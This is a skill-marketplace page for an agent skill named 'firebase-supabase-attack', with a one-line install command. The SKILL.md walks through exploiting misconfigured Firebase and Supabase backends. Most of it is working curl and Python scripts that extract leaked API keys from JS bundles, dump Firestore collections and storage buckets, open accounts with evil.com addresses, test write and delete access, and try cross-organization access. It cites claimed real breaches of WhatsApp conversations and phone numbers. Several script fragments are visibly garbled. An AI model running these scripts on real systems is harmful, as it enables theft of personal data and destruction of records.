소스 정보
- 저장소
- Wyl-cmd/kxns-cli
- 최근 소스 활동
- 2026년 7월 25일 08:23
- 감지된 SKILL.md 언어
- 영어
- 스타
- 4
- 포크
- 0
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/Wyl-cmd/kxns-cli --skill firebase-supabase-attack명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Hermes Agent features guide — cron, delegation, memory, automation, YOLO mode, dual-agent hunting, and slash commands for the agentiko Telegram setup
Worker container environment — tools, paths, and usage patterns for the remote SSH terminal
Exploit no-auth APIs for data theft and CRUD via probes.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | firebase-supabase-attack |
| description | Exploit Firebase/Supabase for data via JS config leak probe. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"tags":["recon","firebase","supabase","firestore","cloud","data-breach"],"category":"recon","related_skills":["api-noauth-hunt","js-secrets-extraction","hunt-source-leak"]} |
Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on delivery-platform (204K WhatsApp conversations, 173K phone numbers), visa-processing-platform (64K users, 46K reports), fitness-chain (39K users, 5 Firebase projects, 21 credentials), dental-booking (9 clinics, 1,749 leads).
apiKey, projectId) or Supabase URL + anon key.js-secrets-extraction finds Firebase/Supabase identifiers.hunt-source-leak finds .env with FIREBASE_* or SUPABASE_* variables.terminal tool with curl, python3, jq.python3 with google-auth library.# Firebase Firestore — list collections (if public)
curl -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"
# Supabase — list users table (if RLS missing)
curl -sk "https://PROJECT.supabase.co/rest/v1/users" \
-H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"
# Supabase — test signup (if open)
curl -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \
-H "apikey: ANON_KEY" -H "Content-Type: application/json" \
-d '{"email":"test@evil.com","password":"Test123!"}'
| Platform | What to Find | Exploit Path | Real Example |
|---|---|---|---|
| Firebase Firestore | Public database rules | Direct REST API access, list all collections | delivery-platform: 204K conversations public |
| Firebase Storage | Public bucket rules | Download all files via REST API | delivery-platform: 1,000+ WhatsApp audio files public |
| Firebase Auth | Open signup | Create accounts, access protected resources | fitness-chain: Firebase Auth signup open |
| Firebase SA Key | Service account JSON | GCP IAM escalation, access all GCP resources | fitness-chain: 5 SA keys → full GCP access |
| Supabase REST | Missing RLS | SELECT/INSERT/UPDATE/DELETE on any table | visa-processing-platform: 64K users, 46K reports, DELETE confirmed |
| Supabase Storage | Public buckets | Download all files, upload malicious content | visa-processing-platform: public PDF reports bucket |
| Supabase Auth | Open signup | Create accounts, bypass access controls | dental-booking: open signup + auto-confirm |
TARGET="$1"
OUTDIR="/root/output/firebase_supabase/$TARGET"
mkdir -p "$OUTDIR"
# Download homepage and common JS entry points
curl -sk "https://$TARGET/" -o "$OUTDIR/index.html"
curl -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null
curl -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null
echo "[*] Extracting Firebase/Supabase configs..."
# Firebase config pattern
grep -oP 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \
"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
# Supabase config pattern
grep -oP 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \
"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
PROJECT_ID="$1" # e.g., delivery-bot-platform
echo "[*] Firestore enumeration for $PROJECT_ID"
# List root collections (if public)
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if 'documents' in data:
print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
else:
for k in data.keys():
print(f'Collection: {k}')
except Exception as e:
print(f'Error: {e}')
print(sys.stdin.read()[:500])
" 2>/dev/null
# If Firestore requires auth, try with Firebase ID token from Auth
# (see Phase 4 for token generation via signup)
PROJECT_ID="$1"
COLLECTION="$2" # e.g., conversationsV3, users, stores
echo "[*] Accessing collection: $COLLECTION"
# List documents in collection
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'Documents found: {len(data[\"documents\"])}')
for doc in data['documents'][:5]:
name = doc['name'].split('/')[-1]
fields = doc.get('fields', {})
# Extract top-level fields
keys = list(fields.keys())[:10]
print(f' {name}: {keys}')
if len(data['documents']) > 5:
print(f' ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null
# Read a specific document
DOC_ID="$3" # from the listing above
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
python3 -m json.tool 2>/dev/null | head -50
API_KEY="$1" # from JS bundle (web API key)
PROJECT_ID="$2"
echo "[*] Testing Firebase Auth signup on $PROJECT_ID"
# Sign up
SIGNUP_RESP=$(curl -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')
if echo "$SIGNUP_RESP" | grep -q "idToken"; then
echo "[+] SIGNUP OPEN — account created!"
ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
echo " ID Token: ${ID_TOKEN:0:50}..."
# Now use this token with Firestore
echo "[*] Testing Firestore access with ID token..."
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
else
echo "[-] Signup blocked: "
PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com" # default bucket name
echo "[*] Storage enumeration for $BUCKET"
# List objects (if public)
curl -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
total = len(data['items'])
total_size = sum(int(i.get('size', 0)) for i in data['items'])
print(f'Objects: {total} ({total_size:,} bytes)')
for item in data['items'][:5]:
print(f' {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
"
# Download a specific file
OBJECT_NAME="$2" # from listing
curl -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
-o "/tmp/firebase_$OBJECT_NAME"
echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"
SUPABASE_URL="$1" # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co
ANON_KEY="$2" # from JS bundle
echo "[*] Supabase REST API enumeration"
# Schema discovery — list tables by querying common names
TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases"
"orders" "products" "reports" "relatorios" "documents" "files"
"messages" "conversations" "sessions" "audit_logs")
for table in "${TABLES[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 \
"$SUPABASE_URL/rest/v1/$table?limit=1" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)
if [[ "$code" == "200" ]]; then
count=$(curl -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H -I 2>/dev/null | grep -i | grep -oP )
curl -sk \
-H -H | \
python3 -m json.tool 2>/dev/null | -20
[[ == || == ]];
SUPABASE_URL="$1"
ANON_KEY="$2"
TABLE="$3" # from table discovery above
echo "[*] CRUD testing on $TABLE"
# INSERT
echo -n " INSERT: "
curl -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \
-o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
# UPDATE (PATCH)
echo -n " UPDATE: "
curl -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test":"rls_updated"}' \
-o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
# DELETE
echo -n " DELETE: "
curl -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
-H -H \
-H \
-o /dev/null -w 2>/dev/null
SUPABASE_URL="$1"
ANON_KEY="$2"
echo "[*] Supabase Auth signup test"
SIGNUP_RESP=$(curl -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" -H "Content-Type: application/json" \
-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')
if echo "$SIGNUP_RESP" | grep -q "access_token"; then
echo "[+] SIGNUP OPEN!"
ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
echo " Access Token: ${ACCESS_TOKEN:0:50}..."
# Test cross-org access (change organization_id in profile)
curl -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" -H "Prefer: return=representation" \
-d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/null
echo " [*] If the above returned data for org_id=1, cross-organization access works"
conversationsV3: 204K WhatsApp conversations, 173K unique phone numbers, 497 stores — PUBLICLY READABLEstores: 4,000 stores with CNPJ, phone, GPS, menu — PATCH write confirmedAIzaSy...USd4 or similar truncation. This happens when the bundler splits the key across multiple string literals or when the key references a variable defined elsewhere. If the Firebase API tests return "API key not valid", the key may be a partial match from the regex. Extract the surrounding context (50+ chars on each side) to find the complete key.medxgo-2e637) may exist in the GCP project registry but have no deployed Firebase resources (no Firestore, no Hosting, no Storage). Check /firebaseapp.com, /firebaseio.com, and /firestore.googleapis.com independently — each may return different results.idToken or access_token in the response.